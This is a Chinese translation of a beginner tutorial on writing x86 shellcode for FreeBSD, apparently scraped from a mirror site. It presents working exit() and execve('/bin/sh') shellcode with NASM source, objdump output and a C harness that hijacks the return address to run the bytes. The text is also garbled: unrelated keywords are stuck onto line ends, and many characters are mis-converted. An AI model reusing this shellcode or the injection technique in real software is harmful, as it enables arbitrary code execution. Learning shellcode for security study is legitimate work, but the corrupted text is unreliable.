FreeBSD上編寫x86 Shellcode初學者指南

FreeBSD上編寫x86 Shellcode初學者指南

來源 https://www.4hou.com/binary/14375.htmlhtml

 

介紹linux

本教程的目的是幫助你熟悉如何在FreeBSD操做系統上編寫shellcode。雖然我會盡力在這裏敘述全部有關的內容,但並不打算把本文寫成彙編代碼編程的入門讀物。在反彙編中,你會注意到彙編代碼採用ATT語法,而我更喜歡使用Intel語法(不管是哪種,nasm的工做原理是同樣的)。若是你擔憂這些差別會帶來困擾,請使用谷歌搜索並瞭解這些差別。請注意我只是一個編寫shellcod的初學者,本文並不意味着是編寫shellcode的所有內容;相反,本文對於全新的shellcoders來講是一個簡單的介紹。換句話說,若是你以及編寫過shellcode,本文的內容可能不會讓你感興趣。shell

其中的代碼改編自The Shellcoders Handbook中的linux代碼示例。編程

我引用的資源:數組

· Unix系統編程http://vip.cs.utsa.edu/usp/
sass

· Shellcod編寫參考手冊http://www.wiley.com/WileyCDA/WileyAncillary/productCd-0764544683,typeCd-NOTE.html
bash

· G. Adam StanislavFreeBSD彙編語言程序設計http://www.int80h.org/bsdasm/
編程語言

所需工具:ide

· objdump
函數

· NASMNetwide Assembler

· GCC

· GDB

在正式開始以前,讓咱們節省一些時間來獲取/usr/src/sys/kern/syscalls.master的副本,這是系統調用及其相關編號的列表。將副本保存在編碼目錄中能夠節省後續的時間,你須要在以root身份登陸時打開文件並進行更改,不然可能會發生錯誤。讓咱們謹慎一點,複製一份副本。

既然咱們已經完成了這一步,接下來咱們繼續深刻,隨着內容的深刻,我會逐步解釋更多的事情。咱們要作的第一個shellcode是很是簡單的,它用於exit()函數調用。咱們首先在C代碼中建立exit(),而後咱們分析反彙編,以便咱們能夠將其重寫爲asm。先編譯這個文件:

gcc -o myexit myexit.c
/* As easy as it gets */  
#include
main()
{
exit(0); // exit with "0" for successful exit
}

如今咱們已經編譯了代碼,咱們但願使用gdb來查看函數內部。以後咱們可以看到計算機自動生成了咱們的代碼對應的彙編代碼。只需按照說明的步驟操做,就能獲得下面的結果:

 

bash$ gdb myexit
(gdb) disas main
Dump of assembler code for function main:
0x80481d8
: push %ebp
0x80481d9 : mov %esp,%ebp
0x80481db : sub $0x8,%esp
0x80481de : add $0xfffffff4,%esp
0x80481e1 : push $0x0
0x80481e3 : call 0x80498dc 
0x80481e8 : add $0x10,%esp
0x80481eb : nop
0x80481ec : leave
0x80481ed : ret
End of assembler dump.

讓咱們一行一行的來分析一下。不要擔憂任何事情,也不要擔憂內存地址,由於個人地址極可能和你的不同。如今繼續看看彙編代碼,這是本文內容的第一個重要部分。傳遞給exit()函數的參數只有一個。接下來是退出了實際的調用。這是咱們須要搞清楚的兩件主要的事情。在咱們進入代碼以前,讓咱們檢查syscalls.master來獲取sysexit()的值,grep這個文件後,咱們找到了這行:1 STD NOHIDE {void sys exitint rval;exit sysexitargs void 。重要的信息是1,它是系統調用號的值和rval(返回值)參數。這代表sys_exit()接受一個參數,咱們應該知道返回值是’0’表明這是一個成功的退出。

好的,將它放入彙編代碼中。

 

section .text
global _start
_start:
xor eax, eax
push eax
push eax
mov eax, 1
int 80h

經過上面的代碼,在咱們進一步深刻解釋爲何代碼會以這種方式有序的完成調用執行前,我會作個簡短的說明。在FreeBSD(或NetBSDOpenBSD)中,系統調用的參數是以相反的順序被壓入堆棧的,實際的系統調用號放入eax寄存器而後中斷80 會調用內核來執行咱們的代碼。

如今繼續, 'xor eaxeax’代碼,若是eax有任何值的話,就會將eax清零。而後咱們'push eax’兩次。(我不知道是什麼技術緣由致使的,但若是零被push堆棧一次,退出調用將返回1,咱們不但願這樣的返回值,只需將零push兩次就行。)如今咱們加載eax 調用exit的系統調用值爲1.最後咱們要作的是用'int 80h’來實際調用內核。

不錯!如今咱們已經編寫了了一些東西了,咱們能夠從中得到shellcode!咱們須要組裝而後連接這個文件。

 

bash$ nasm -f elf myexit.asm
bash$ ld -s -o myexit myexit.o

 

如今它已經組裝和連接好了,讓咱們使用objdump來獲取shellcode

 

bash$ objdump -d myexit
shortexit: file format elf32-i386
/usr/libexec/elf/objdump: shortexit: no symbols
Disassembly of section .text:
08048080 <.text>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b8 01 00 00 00 mov $0x1,%eax
8048089: cd 80 int $0x80

 

這段代碼對某些人來講可能已經很好了,但它對咱們來講很糟糕。看看代碼中的那些NULL00),咱們不能直接使用這段代碼,由於當咱們嘗試在咱們以前編寫的C程序中執行代碼時就會發生中斷。在C語言和其餘編程語言中,NULL會終止一個字符串。這意味着若是咱們嘗試將其加載到C語言數組中,程序就會崩潰。因此咱們不能那樣作。也許有其餘的方法能夠處理這段asm代碼,我想出的辦法以下:

 

Section .text
global _start
_start:
xor eax, eax
push eax
push eax
inc eax
int 80h

這裏惟一不一樣的是'inc eax’,讓eax 增長1(記住eax是從零開始的,咱們須要返回1(退出系統調用的返回值)),因此在這種狀況下它與’mov eax1'是等價的。

再次,如上一個示例所示組裝並連接它,而後使用objdump

 

bash$ objdump -d myexit
/usr/libexec/elf/objdump: exit_shellcode: no symbols
Disassembly of section .text:
08048080 <.text>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: 40 inc %eax
8048085: cd 80 int $0x80

如今看一下!沒有NULL了,這段代碼就是很好的shellcode,咱們保存一下!那麼如今咱們有了正確的,沒有NULL值的shellcode,如今是時候將它加載到C程序中來執行了。

 

#include 
#include 
/*working shellcode */
char shellcode[] = "\x31\xc0\x50\x50\x40\xcd\x80";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

 

就是這樣,這段代碼看起來真的很漂亮哦!如今進行編譯:

 

bash$ gcc -o shellcode shellcode.c
bash$ ./shellcode ; echo $?
0

因爲程序退出時咱們確實看不到內部的細節,因此咱們使用 ‘echo $'來輸出結果。'$是一個bash內置的變量,它保存程序的最後一個退出代碼。因爲咱們在代碼中給出了退出的返回值就是’0’,所以,咱們的代碼起做用了!幹得不錯,你的耐心和工做終於獲得了回報。不過這只是一個開始,你可能不會使用這個代碼。

好吧,你可能已經猜到了,退出的shellcode不是頗有趣或有用,但它是一個很好的例子,可以很容易的體現編寫shellcode的關鍵點。如今是時候開始介紹一個更經常使用到的函數的shellcode了,這個函數就是利用execve()來生成一個shell。可是咱們還能用execve()作些什麼呢?在咱們繼續開始編寫以前,咱們應該再次查詢一下syscalls.master,以便咱們能夠確切知道execve()指望傳入的參數。由於execve不在文件的最開頭,因此我是這樣找到函數定義原型的。

 

bash$ grep -i 'execve' syscalls.master
59 STD POSIX { int execve(char *fname, char **argv, char **envv); }

 

#include 
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
}

如今編譯,以下面所示,而後啓動gdb

 

bash$ gdb shell
(gdb) disas main
Dump of assembler code for function main:
0x80484a0
: push %ebp
0x80484a1 : mov %esp,%ebp
0x80484a3 : sub $0x18,%esp
0x80484a6 : movl $0x8048503,0xfffffff8(%ebp)
0x80484ad : movl $0x0,0xfffffffc(%ebp)
0x80484b4 : add $0xfffffffc,%esp
0x80484b7 : push $0x0
0x80484b9 : lea 0xfffffff8(%ebp),%eax
0x80484bc : push %eax
0x80484bd : mov 0xfffffff8(%ebp),%eax
0x80484c0 : push %eax
0x80484c1 : call 0x8048350 
0x80484c6 : add $0x10,%esp
0x80484c9 : leave
0x80484ca : ret
0x80484cb : nop
End of assembler dump.

哇,代碼有點多!

因爲這個代碼更長一些,因此我將跳過代碼自己,由於當你看到代碼而後再解釋應該會更清楚。這也是我將代碼解釋放在代碼的註釋中的緣由。

 

;不用擔憂爲何這裏會出現這些代碼,由於這些是必需的,只能放在這裏
section .text
global _start
_start:
;這行代碼是爲了能夠在堆上獲取到 db ‘/bin/sh' 的地址
jmp short _callshell
_shellcode:
;這行代碼能夠將 db ‘/bin/sh' 的地址彈到esi寄存器中
pop esi
;確認eax寄存器中沒有值
xor eax, eax
;如今eax的值是NULL,咱們能夠將一根字節放在'/bin/sh'字符串來做爲終止字符
mov byte [esi + 7], al
;在FreeBSD彙編中,咱們將全部的參數以相反的順序放在堆上。將空值的 eax 寄存器push兩次由於咱們不能使用帶參數的execve()。可是這是execve()所須要的
push eax
push eax
;execve()須要的最後一個參數(注意這其實是第一個參數,由於這裏的傳入順序是相反的)
push esi
;這裏是實際調用execve()的系統調用值,咱們將它移動到al中。若是咱們將這個值傳入eax寄存器,那麼咱們的shellcode會返回一個NULL值,這個作法不是很好。
mov al, 0x3b
;不要問我這裏爲何是這樣的。由於shellcode須要。
push eax 
;內核調用和執行以前咱們所作的準備工做。注意這裏是一個80h中斷
int 0x80
_callshell:
;這行代碼返回到了咱們的代碼的main函數入口。
call _shellcode
;咱們實際上想要執行的命令字符串將會傳入execve()函數
db '/bin/sh'

 

如今咱們組裝該文件:

 

bash$ nasm -f elf mynewshell.asm
bash$ ld -o mynewshell mynewshell.o

 

而後咱們啓動objdump

 

bash$ objdump -d mynewshell
mynewshell: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: eb 0e jmp 8048090 <_callshell>
08048082 <_shellcode>:
8048082: 5e pop %esi
8048083: 31 c0 xor %eax,%eax
8048085: 88 46 07 mov %al,0x7(%esi)
8048088: 50 push %eax
8048089: 50 push %eax
804808a: 56 push %esi
804808b: b0 3b mov $0x3b,%al
804808d: 50 push %eax
804808e: cd 80 int $0x80
08048090 <_callshell>:
8048090: e8 ed ff ff ff call 8048082 <_shellcode>
8048095: 2f das
8048096: 62 69 6e bound %ebp,0x6e(%ecx)
8048099: 2f das
804809a: 73 68 jae 8048104 <_callshell+0x74>

看看全部那些很美麗shellcode。如今是時候將它格式化爲一個有用的格式並放入C程序代碼,以便咱們能夠執行shellcode

 

#include 
#include 
/*working shellcode */
char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b"
"\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

 

編譯並執行:

 

bash$ gcc -o shell shell.c
bash$ ./shell
$

 

shellcode有效!咱們製做了一個生成shellshellcode。這須要一段時間才能實現,雖然這確定不是你能夠用shellcode的作不少事情的結束,至少它讓你有信心閱讀其餘更全面的教程,並開始編寫本身的shellcode

 

本文翻譯自:https://cryogenix.net/shellcoding_on_freebsd.html

 

================ End

相關文章
相關標籤/搜索